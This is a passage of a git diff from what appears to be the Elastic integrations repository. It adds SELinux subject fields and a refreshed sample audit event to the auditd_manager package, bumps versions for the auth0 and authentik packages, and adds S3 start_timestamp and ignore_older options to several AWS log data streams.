- description: the arguments to a syscall
- type: keyword
- name: auditd.data.ses
description: login session ID
type: keyword
@@ -737,6 +734,40 @@
type: keyword
- name: auditd.data.result
type: keyword
-- name: auditd.data
- description: Auditd related data
- type: flattened
+- name: auditd.data.subj_user
+ type: keyword
+ description: >
+ The SELinux user identity. This represents the SELinux user role that is
+ assigned to the subject (user or process) performing an action. It's part
+ of the SELinux security context and is used to enforce policies that
+ restrict what actions a subject can perform.
+- name: auditd.data.subj_role
+ type: keyword
+ description: >
+ The SELinux role associated with the subject. The role determines the
+ capabilities a subject has within a given SELinux policy. Roles are used
+ to define higher-level security attributes in the context of the system's
+ security policies.
+- name: auditd.data.subj_domain
+ type: keyword
+ description: >
+ The SELinux domain or type assigned to the subject. The domain specifies
+ the type of resource or process the subject is interacting with, helping
+ enforce domain-based access controls, which are crucial in limiting resource
+ access.
+- name: auditd.data.subj_level
+ type: keyword
+ description: >
+ The SELinux sensitivity level for the subject. It indicates the security
+ classification level, like `s0` or `s2`, that defines how data or processes
+ are handled based on confidentiality and integrity levels within the system.
+- name: auditd.data.subj_category
+ type: keyword
+ description: >
+ The SELinux category associated with the subject. It helps further refine
+ the level of access by classifying subjects into categories for
+ multi-level security (MLS). Categories are often used to label data
+ with additional attributes, like "high" or "low," enhancing granularity.
+- name: auditd.data.a*
+ description: the arguments to a syscall
+ type: keyword
diff --git a/packages/auditd_manager/data_stream/auditd/sample_event.json b/packages/auditd_manager/data_stream/auditd/sample_event.json
index e0d9f9ecd4e..bbff6f37e5b 100644
--- a/packages/auditd_manager/data_stream/auditd/sample_event.json
+++ b/packages/auditd_manager/data_stream/auditd/sample_event.json
@@ -1,22 +1,22 @@
{
- "@timestamp": "2022-05-12T13:10:13.230Z",
+ "@timestamp": "2025-01-14T18:00:56.117Z",
"agent": {
- "ephemeral_id": "cfe4170e-f9b4-435f-b19c-a0e75b573b3a",
- "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1",
- "name": "custom-agent",
+ "ephemeral_id": "df24f825-df17-4f54-b3c4-3048edbdf123",
+ "id": "da084743-3b4d-43eb-a6c9-f26c44204375",
+ "name": "elastic-agent-90019",
"type": "auditbeat",
- "version": "8.2.0"
+ "version": "8.16.0"
},
"auditd": {
"data": {
- "a0": "a",
- "a1": "c00024e8c0",
- "a2": "38",
+ "a0": "10",
+ "a1": "c001144140",
+ "a2": "3c",
"a3": "0",
"arch": "x86_64",
- "audit_pid": "22501",
+ "audit_pid": 2532842,
"auid": "unset",
- "exit": "56",
+ "exit": "60",
"old": "0",
"op": "set",
"result": "success",
@@ -25,15 +25,16 @@
"family": "netlink",
"saddr": "100000000000000000000000"
},
+ "subj_user": "docker-default",
"syscall": "sendto",
"tty": "(none)"
},
"message_type": "config_change",
"messages": [
- "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1",
- "type=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)",
- "type=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000",
- "type=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C"
+ "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1",
+ "type=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)",
+ "type=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000",
+ "type=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65"
],
"result": "success",
"summary": {
@@ -41,7 +42,7 @@
"primary": "unset",
"secondary": "root"
},
- "how": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat",
+ "how": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat",
"object": {
"primary": "set",
"type": "audit-config"
@@ -63,21 +64,24 @@
},
"id": "0",
"name": "root"
+ },
+ "selinux": {
+ "user": "docker-default"
}
}
},
"data_stream": {
"dataset": "auditd_manager.auditd",
- "namespace": "ep",
+ "namespace": "73800",
"type": "logs"
},
"ecs": {
"version": "8.11.0"
},
"elastic_agent": {
- "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1",
+ "id": "da084743-3b4d-43eb-a6c9-f26c44204375",
"snapshot": false,
- "version": "8.2.0"
+ "version": "8.16.0"
},
"event": {
"action": "changed-audit-configuration",
@@ -88,12 +92,12 @@
"network"
],
"dataset": "auditd_manager.auditd",
- "ingested": "2022-05-12T13:10:16Z",
+ "ingested": "2025-01-14T18:00:59Z",
"kind": "event",
"module": "auditd",
- "original": "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1\ntype=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)\ntype=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C",
+ "original": "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1\ntype=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)\ntype=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65",
"outcome": "success",
- "sequence": 94471,
+ "sequence": 1197107,
"type": [
"change",
"connection",
@@ -101,19 +105,37 @@
]
},
"host": {
- "name": "custom-agent"
+ "architecture": "x86_64",
+ "containerized": false,
+ "hostname": "elastic-agent-90019",
+ "ip": [
+ "192.168.176.2",
+ "192.168.144.5"
+ ],
+ "mac": [
+ "02-42-C0-A8-90-05",
+ "02-42-C0-A8-B0-02"
+ ],
+ "name": "elastic-agent-90019",
+ "os": {
+ "kernel": "6.8.0-51-generic",
+ "name": "Wolfi",
+ "platform": "wolfi",
+ "type": "linux",
+ "version": "20230201"
+ }
},
"network": {
"direction": "egress"
},
"process": {
- "executable": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat",
- "name": "auditbeat",
+ "executable": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat",
+ "name": "agentbeat",
"parent": {
- "pid": 9509
+ "pid": 2531521
},
- "pid": 22501,
- "title": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat -c auditbeat.elastic-agent.yml"
+ "pid": 2532842,
+ "title": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat auditbeat -E setup.ilm.enabled=false -E setup.template.e"
},
"service": {
"type": "auditd"
@@ -130,4 +152,4 @@
"id": "0",
"name": "root"
}
-}
\ No newline at end of file
+}
diff --git a/packages/auditd_manager/docs/README.md b/packages/auditd_manager/docs/README.md
index 6c70a8ca387..098a9ab8a49 100644
--- a/packages/auditd_manager/docs/README.md
+++ b/packages/auditd_manager/docs/README.md
@@ -151,24 +151,24 @@ An example event for `auditd` looks as following:
```json
{
- "@timestamp": "2022-05-12T13:10:13.230Z",
+ "@timestamp": "2025-01-14T18:00:56.117Z",
"agent": {
- "ephemeral_id": "cfe4170e-f9b4-435f-b19c-a0e75b573b3a",
- "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1",
- "name": "custom-agent",
+ "ephemeral_id": "df24f825-df17-4f54-b3c4-3048edbdf123",
+ "id": "da084743-3b4d-43eb-a6c9-f26c44204375",
+ "name": "elastic-agent-90019",
"type": "auditbeat",
- "version": "8.2.0"
+ "version": "8.16.0"
},
"auditd": {
"data": {
- "a0": "a",
- "a1": "c00024e8c0",
- "a2": "38",
+ "a0": "10",
+ "a1": "c001144140",
+ "a2": "3c",
"a3": "0",
"arch": "x86_64",
- "audit_pid": "22501",
+ "audit_pid": 2532842,
"auid": "unset",
- "exit": "56",
+ "exit": "60",
"old": "0",
"op": "set",
"result": "success",
@@ -177,15 +177,16 @@ An example event for `auditd` looks as following:
"family": "netlink",
"saddr": "100000000000000000000000"
},
+ "subj_user": "docker-default",
"syscall": "sendto",
"tty": "(none)"
},
"message_type": "config_change",
"messages": [
- "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1",
- "type=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)",
- "type=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000",
- "type=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C"
+ "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1",
+ "type=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)",
+ "type=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000",
+ "type=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65"
],
"result": "success",
"summary": {
@@ -193,7 +194,7 @@ An example event for `auditd` looks as following:
"primary": "unset",
"secondary": "root"
},
- "how": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat",
+ "how": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat",
"object": {
"primary": "set",
"type": "audit-config"
@@ -215,21 +216,24 @@ An example event for `auditd` looks as following:
},
"id": "0",
"name": "root"
+ },
+ "selinux": {
+ "user": "docker-default"
}
}
},
"data_stream": {
"dataset": "auditd_manager.auditd",
- "namespace": "ep",
+ "namespace": "73800",
"type": "logs"
},
"ecs": {
"version": "8.11.0"
},
"elastic_agent": {
- "id": "753ce520-4f32-45b1-9212-c4dcc9d575a1",
+ "id": "da084743-3b4d-43eb-a6c9-f26c44204375",
"snapshot": false,
- "version": "8.2.0"
+ "version": "8.16.0"
},
"event": {
"action": "changed-audit-configuration",
@@ -240,12 +244,12 @@ An example event for `auditd` looks as following:
"network"
],
"dataset": "auditd_manager.auditd",
- "ingested": "2022-05-12T13:10:16Z",
+ "ingested": "2025-01-14T18:00:59Z",
"kind": "event",
"module": "auditd",
- "original": "type=CONFIG_CHANGE msg=audit(1652361013.230:94471): op=set audit_pid=22501 old=0 auid=4294967295 ses=4294967295 res=1\ntype=SYSCALL msg=audit(1652361013.230:94471): arch=c000003e syscall=44 success=yes exit=56 a0=a a1=c00024e8c0 a2=38 a3=0 items=0 ppid=9509 pid=22501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"auditbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat\" key=(null)\ntype=SOCKADDR msg=audit(1652361013.230:94471): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1652361013.230:94471): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D6239613238612F696E7374616C6C2F6175646974626561742D382E322E302D6C696E75782D7838365F36342F617564697462656174002D63006175646974626561742E656C61737469632D6167656E742E796D6C",
+ "original": "type=CONFIG_CHANGE msg=audit(1736877656.117:1197107): op=set audit_pid=2532842 old=0 auid=4294967295 ses=4294967295 subj=docker-default res=1\ntype=SYSCALL msg=audit(1736877656.117:1197107): arch=c000003e syscall=44 success=yes exit=60 a0=10 a1=c001144140 a2=3c a3=0 items=0 ppid=2531521 pid=2532842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"agentbeat\" exe=\"/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat\" subj=docker-default key=(null)\ntype=SOCKADDR msg=audit(1736877656.117:1197107): saddr=100000000000000000000000\ntype=PROCTITLE msg=audit(1736877656.117:1197107): proctitle=2F7573722F73686172652F656C61737469632D6167656E742F646174612F656C61737469632D6167656E742D3366303766322F636F6D706F6E656E74732F6167656E746265617400617564697462656174002D450073657475702E696C6D2E656E61626C65643D66616C7365002D450073657475702E74656D706C6174652E65",
"outcome": "success",
- "sequence": 94471,
+ "sequence": 1197107,
"type": [
"change",
"connection",
@@ -253,19 +257,37 @@ An example event for `auditd` looks as following:
]
},
"host": {
- "name": "custom-agent"
+ "architecture": "x86_64",
+ "containerized": false,
+ "hostname": "elastic-agent-90019",
+ "ip": [
+ "192.168.176.2",
+ "192.168.144.5"
+ ],
+ "mac": [
+ "02-42-C0-A8-90-05",
+ "02-42-C0-A8-B0-02"
+ ],
+ "name": "elastic-agent-90019",
+ "os": {
+ "kernel": "6.8.0-51-generic",
+ "name": "Wolfi",
+ "platform": "wolfi",
+ "type": "linux",
+ "version": "20230201"
+ }
},
"network": {
"direction": "egress"
},
"process": {
- "executable": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat",
- "name": "auditbeat",
+ "executable": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat",
+ "name": "agentbeat",
"parent": {
- "pid": 9509
+ "pid": 2531521
},
- "pid": 22501,
- "title": "/usr/share/elastic-agent/data/elastic-agent-b9a28a/install/auditbeat-8.2.0-linux-x86_64/auditbeat -c auditbeat.elastic-agent.yml"
+ "pid": 2532842,
+ "title": "/usr/share/elastic-agent/data/elastic-agent-3f07f2/components/agentbeat auditbeat -E setup.ilm.enabled=false -E setup.template.e"
},
"service": {
"type": "auditd"
@@ -290,8 +312,7 @@ An example event for `auditd` looks as following:
| Field | Description | Type |
|---|---|---|
| @timestamp | Date/time when the event originated. This is the date/time extracted from the event, typically representing when the event was generated by the source. If the event source has no original timestamp, this value is typically populated by the first time the event was received by the pipeline. Required field for all events. | date |
-| auditd.data | Auditd related data | flattened |
-| auditd.data.a0-N | the arguments to a syscall | keyword |
+| auditd.data.a\* | the arguments to a syscall | keyword |
| auditd.data.acct | a user's account name | keyword |
| auditd.data.acl | access mode of resource assigned to vm | keyword |
| auditd.data.action | netfilter packet disposition | keyword |
@@ -482,6 +503,11 @@ An example event for `auditd` looks as following:
| auditd.data.sport | local port number | long |
| auditd.data.state | audit daemon configuration resulting state | keyword |
| auditd.data.subj | lspp subject's context string | keyword |
+| auditd.data.subj_category | The SELinux category associated with the subject. It helps further refine the level of access by classifying subjects into categories for multi-level security (MLS). Categories are often used to label data with additional attributes, like "high" or "low," enhancing granularity. | keyword |
+| auditd.data.subj_domain | The SELinux domain or type assigned to the subject. The domain specifies the type of resource or process the subject is interacting with, helping enforce domain-based access controls, which are crucial in limiting resource access. | keyword |
+| auditd.data.subj_level | The SELinux sensitivity level for the subject. It indicates the security classification level, like `s0` or `s2`, that defines how data or processes are handled based on confidentiality and integrity levels within the system. | keyword |
+| auditd.data.subj_role | The SELinux role associated with the subject. The role determines the capabilities a subject has within a given SELinux policy. Roles are used to define higher-level security attributes in the context of the system's security policies. | keyword |
+| auditd.data.subj_user | The SELinux user identity. This represents the SELinux user role that is assigned to the subject (user or process) performing an action. It's part of the SELinux security context and is used to enforce policies that restrict what actions a subject can perform. | keyword |
| auditd.data.success | whether the syscall was successful or not | keyword |
| auditd.data.syscall | syscall number in effect when the event occurred | keyword |
| auditd.data.table | netfilter table name | keyword |
diff --git a/packages/auditd_manager/manifest.yml b/packages/auditd_manager/manifest.yml
index 6556c70c140..d219ac93b05 100644
--- a/packages/auditd_manager/manifest.yml
+++ b/packages/auditd_manager/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.0"
name: auditd_manager
title: "Auditd Manager"
-version: "1.18.2"
+version: "1.18.3"
description: "The Auditd Manager Integration receives audit events from the Linux Audit Framework that is a part of the Linux kernel."
type: integration
categories:
diff --git a/packages/auth0/changelog.yml b/packages/auth0/changelog.yml
index ac7867bdf0f..2c9ace4abad 100644
--- a/packages/auth0/changelog.yml
+++ b/packages/auth0/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.21.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.20.1"
changes:
- description: Fix `event.type` and `event.category` classification of failed authentication events.
diff --git a/packages/auth0/manifest.yml b/packages/auth0/manifest.yml
index 3eb3c1dea1c..1028b37cbd9 100644
--- a/packages/auth0/manifest.yml
+++ b/packages/auth0/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: auth0
title: "Auth0"
-version: "1.20.1"
+version: "1.21.0"
description: Collect logs from Auth0 with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- iam
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/auth0-screenshot.png
title: Auth0 Dashboard
diff --git a/packages/authentik/changelog.yml b/packages/authentik/changelog.yml
index 412c11c7444..9b9189cbe5e 100644
--- a/packages/authentik/changelog.yml
+++ b/packages/authentik/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.2.2"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/authentik/manifest.yml b/packages/authentik/manifest.yml
index 5263e2ebb76..d9683bc870c 100644
--- a/packages/authentik/manifest.yml
+++ b/packages/authentik/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.2.1
name: authentik
title: authentik
-version: 1.2.2
+version: "1.3.0"
description: Collect logs from authentik with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.13.0
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/aws/changelog.yml b/packages/aws/changelog.yml
index 1a76e9999f3..abbc033f8e1 100644
--- a/packages/aws/changelog.yml
+++ b/packages/aws/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.42.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
- version: "2.41.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs
index 66e3c2e291b..674ac2280ee 100644
--- a/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/apigateway_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/apigateway_logs/manifest.yml b/packages/aws/data_stream/apigateway_logs/manifest.yml
index ef48082b230..bf3019e7180 100644
--- a/packages/aws/data_stream/apigateway_logs/manifest.yml
+++ b/packages/aws/data_stream/apigateway_logs/manifest.yml
@@ -75,6 +75,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs
index 287a5b524ef..b3697a136ec 100644
--- a/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/cloudfront_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/cloudfront_logs/manifest.yml b/packages/aws/data_stream/cloudfront_logs/manifest.yml
index ded5fde9e14..56f385747c4 100644
--- a/packages/aws/data_stream/cloudfront_logs/manifest.yml
+++ b/packages/aws/data_stream/cloudfront_logs/manifest.yml
@@ -51,6 +51,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs
index f7108fc5f77..3bb8ec738d8 100644
--- a/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/cloudtrail/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/cloudtrail/manifest.yml b/packages/aws/data_stream/cloudtrail/manifest.yml
index c826d77e569..222e3481888 100644
--- a/packages/aws/data_stream/cloudtrail/manifest.yml
+++ b/packages/aws/data_stream/cloudtrail/manifest.yml
@@ -28,6 +28,20 @@ streams:
required: false
show_user: true
description: Mandatory if the "Collect logs via S3 Bucket" switch is on. It is a required parameter for collecting logs via the AWS S3 Bucket unless you set a Bucket ARN.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: queue_url
type: text
title: "[SQS] Queue URL"
diff --git a/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs
index 34bfdcd9984..08a891bd02c 100644
--- a/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/ec2_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/ec2_logs/manifest.yml b/packages/aws/data_stream/ec2_logs/manifest.yml
index c42606cdd2e..1c5ed27d106 100644
--- a/packages/aws/data_stream/ec2_logs/manifest.yml
+++ b/packages/aws/data_stream/ec2_logs/manifest.yml
@@ -52,6 +52,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs
index 34bfdcd9984..08a891bd02c 100644
--- a/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
